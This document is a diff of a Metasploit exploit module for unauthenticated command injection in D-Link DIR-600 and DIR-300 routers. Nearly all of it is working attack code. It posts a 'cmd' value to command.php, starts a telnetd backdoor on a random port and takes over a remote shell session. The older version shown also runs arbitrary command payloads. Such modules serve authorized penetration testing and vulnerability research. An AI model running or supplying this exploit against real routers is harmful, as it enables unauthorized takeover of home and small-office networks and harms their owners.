|
8 | 8 | require 'msf/core'
|
9 | 9 |
|
10 | 10 | class Metasploit3 < Msf::Exploit::Remote
|
11 |
| - Rank = ExcellentRanking |
12 |
| - |
13 |
| - include Msf::Exploit::Remote::HttpClient |
14 |
| - include Msf::Auxiliary::CommandShell |
15 |
| - |
16 |
| - def initialize(info = {}) |
17 |
| - super(update_info(info, |
18 |
| - 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', |
19 |
| - 'Description' => %q{ |
20 |
| - Different D-Link Routers are vulnerable to OS command injection via the web |
21 |
| - interface. The vulnerability exists in command.php, which is accessible without |
22 |
| - authentication. This module has been tested with the versions DIR-600 2.14b01, |
23 |
| - DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service |
24 |
| - and establish a session over it, the second one runs commands via the CMD target. |
25 |
| - There is no wget or tftp client to upload an elf backdoor easily. According to the |
26 |
| - vulnerability discoverer, more D-Link devices may affected. |
27 |
| - }, |
28 |
| - 'Author' => |
29 |
| - [ |
30 |
| - 'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module |
31 |
| - 'juan vazquez' # minor help with msf module |
32 |
| - ], |
33 |
| - 'License' => MSF_LICENSE, |
34 |
| - 'References' => |
35 |
| - [ |
36 |
| - [ 'OSVDB', '89861' ], |
37 |
| - [ 'EDB', '24453' ], |
38 |
| - [ 'BID', '57734' ], |
39 |
| - [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], |
40 |
| - [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], |
41 |
| - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] |
42 |
| - ], |
43 |
| - 'DisclosureDate' => 'Feb 04 2013', |
44 |
| - 'Privileged' => true, |
45 |
| - 'Platform' => ['linux','unix'], |
46 |
| - 'Payload' => |
47 |
| - { |
48 |
| - 'DisableNops' => true, |
49 |
| - }, |
50 |
| - 'Targets' => |
51 |
| - [ |
52 |
| - [ 'CMD', #all devices |
53 |
| - { |
54 |
| - 'Arch' => ARCH_CMD, |
55 |
| - 'Platform' => 'unix' |
56 |
| - } |
57 |
| - ], |
58 |
| - [ 'Telnet', #all devices - default target |
59 |
| - { |
60 |
| - 'Arch' => ARCH_CMD, |
61 |
| - 'Platform' => 'unix' |
62 |
| - } |
63 |
| - ], |
64 |
| - ], |
65 |
| - 'DefaultTarget' => 1 |
66 |
| - )) |
67 |
| - end |
68 |
| - |
69 |
| - def exploit |
70 |
| - if target.name =~ /CMD/ |
71 |
| - exploit_cmd |
72 |
| - else |
73 |
| - exploit_telnet |
74 |
| - end |
75 |
| - end |
76 |
| - |
77 |
| - def exploit_cmd |
78 |
| - if not (datastore['CMD']) |
79 |
| - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") |
80 |
| - end |
81 |
| - cmd = "#{payload.encoded}; echo end" |
82 |
| - print_status("#{rhost}:#{rport} - Sending exploit request...") |
83 |
| - res = request(cmd) |
84 |
| - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/) |
85 |
| - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") |
86 |
| - end |
87 |
| - |
88 |
| - if res.body.include?("end") |
89 |
| - print_good("#{rhost}:#{rport} - Exploited successfully\n") |
90 |
| - vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") |
91 |
| - vprint_line("#{rhost}:#{rport} - Output: #{res.body}") |
92 |
| - else |
93 |
| - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") |
94 |
| - end |
95 |
| - |
96 |
| - return |
97 |
| - end |
98 |
| - |
99 |
| - def exploit_telnet |
100 |
| - telnetport = rand(65535) |
101 |
| - |
102 |
| - print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") |
103 |
| - |
104 |
| - cmd = "telnetd -p #{telnetport}" |
105 |
| - |
106 |
| - #starting the telnetd gives no response |
107 |
| - print_status("#{rhost}:#{rport} - Sending exploit request...") |
108 |
| - request(cmd) |
109 |
| - |
110 |
| - begin |
111 |
| - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) |
112 |
| - |
113 |
| - if sock |
114 |
| - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") |
115 |
| - add_socket(sock) |
116 |
| - else |
117 |
| - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") |
118 |
| - end |
119 |
| - |
120 |
| - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" |
121 |
| - auth_info = { |
122 |
| - :host => rhost, |
123 |
| - :port => telnetport, |
124 |
| - :sname => 'telnet', |
125 |
| - :user => "", |
126 |
| - :pass => "", |
127 |
| - :source_type => "exploit", |
128 |
| - :active => true |
129 |
| - } |
130 |
| - report_auth_info(auth_info) |
131 |
| - merge_me = { |
132 |
| - 'USERPASS_FILE' => nil, |
133 |
| - 'USER_FILE' => nil, |
134 |
| - 'PASS_FILE' => nil, |
135 |
| - 'USERNAME' => nil, |
136 |
| - 'PASSWORD' => nil |
137 |
| - } |
138 |
| - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) |
139 |
| - rescue |
140 |
| - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") |
141 |
| - end |
142 |
| - return |
143 |
| - end |
144 |
| - |
145 |
| - def request(cmd) |
146 |
| - |
147 |
| - uri = '/command.php' |
148 |
| - |
149 |
| - begin |
150 |
| - res = send_request_cgi({ |
151 |
| - 'uri' => uri, |
152 |
| - 'method' => 'POST', |
153 |
| - 'vars_post' => { |
154 |
| - "cmd" => cmd |
155 |
| - } |
156 |
| - }) |
157 |
| - return res |
158 |
| - rescue ::Rex::ConnectionError |
159 |
| - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") |
160 |
| - end |
161 |
| - end |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + Different D-Link Routers are vulnerable to OS command injection via the web |
| 20 | + interface. The vulnerability exists in command.php, which is accessible without |
| 21 | + authentication. This module has been tested with the versions DIR-600 2.14b01, |
| 22 | + DIR-300 rev B 2.13. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module |
| 27 | + 'juan vazquez' # minor help with msf module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'OSVDB', '89861' ], |
| 33 | + [ 'EDB', '24453' ], |
| 34 | + [ 'BID', '57734' ], |
| 35 | + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], |
| 36 | + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], |
| 37 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => 'Feb 04 2013', |
| 40 | + 'Privileged' => true, |
| 41 | + 'Platform' => 'unix', |
| 42 | + 'Arch' => ARCH_CMD, |
| 43 | + 'Payload' => |
| 44 | + { |
| 45 | + 'Compat' => { |
| 46 | + 'PayloadType' => 'cmd_interact', |
| 47 | + 'ConnectionType' => 'find', |
| 48 | + }, |
| 49 | + }, |
| 50 | + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, |
| 51 | + 'Targets' => |
| 52 | + [ |
| 53 | + [ 'Automatic', { } ] |
| 54 | + ], |
| 55 | + 'DefaultTarget' => 0 |
| 56 | + )) |
| 57 | + |
| 58 | + register_advanced_options( |
| 59 | + [ |
| 60 | + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), |
| 61 | + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]), |
| 62 | + OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10]) |
| 63 | + ], self.class) |
| 64 | + |
| 65 | + end |
| 66 | + |
| 67 | + def tel_timeout |
| 68 | + (datastore['TelnetTimeout'] || 10).to_i |
| 69 | + end |
| 70 | + |
| 71 | + def banner_timeout |
| 72 | + (datastore['TelnetBannerTimeout'] || 25).to_i |
| 73 | + end |
| 74 | + |
| 75 | + def session_timeout |
| 76 | + (datastore['SessionTimeout'] || 10).to_i |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + telnetport = rand(65535) |
| 81 | + |
| 82 | + print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") |
| 83 | + |
| 84 | + cmd = "telnetd -p #{telnetport}" |
| 85 | + |
| 86 | + #starting the telnetd gives no response |
| 87 | + print_status("#{rhost}:#{rport} - Sending exploit request...") |
| 88 | + request(cmd) |
| 89 | + |
| 90 | + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") |
| 91 | + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) |
| 92 | + |
| 93 | + if sock.nil? |
| 94 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") |
| 95 | + end |
| 96 | + |
| 97 | + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") |
| 98 | + prompt = negotiate_telnet(sock) |
| 99 | + if prompt.nil? |
| 100 | + sock.close |
| 101 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") |
| 102 | + else |
| 103 | + print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect") |
| 104 | + end |
| 105 | + |
| 106 | + print_status("#{rhost}:#{rport} - Trying to create the Msf session...") |
| 107 | + begin |
| 108 | + Timeout.timeout(session_timeout) do |
| 109 | + activated = handler(sock) |
| 110 | + while(activated !~ /claimed/) |
| 111 | + activated = handler(sock) |
| 112 | + end |
| 113 | + end |
| 114 | + rescue ::Timeout::Error |
| 115 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session") |
| 116 | + end |
| 117 | + end |
| 118 | + |
| 119 | + def request(cmd) |
| 120 | + |
| 121 | + uri = '/command.php' |
| 122 | + |
| 123 | + begin |
| 124 | + res = send_request_cgi({ |
| 125 | + 'uri' => uri, |
| 126 | + 'method' => 'POST', |
| 127 | + 'vars_post' => { |
| 128 | + "cmd" => cmd |
| 129 | + } |
| 130 | + }) |
| 131 | + return res |
| 132 | + rescue ::Rex::ConnectionError |
| 133 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") |
| 134 | + end |
| 135 | + end |
| 136 | + |
| 137 | + def negotiate_telnet(sock) |
| 138 | + begin |
| 139 | + Timeout.timeout(banner_timeout) do |
| 140 | + while(true) |
| 141 | + data = sock.get_once(-1, tel_timeout) |
| 142 | + return nil if not data or data.length == 0 |
| 143 | + if data =~ /\x23\x20$/ |
| 144 | + return true |
| 145 | + end |
| 146 | + end |
| 147 | + end |
| 148 | + rescue ::Timeout::Error |
| 149 | + return nil |
| 150 | + end |
| 151 | + end |
| 152 | + |
162 | 153 | end
|
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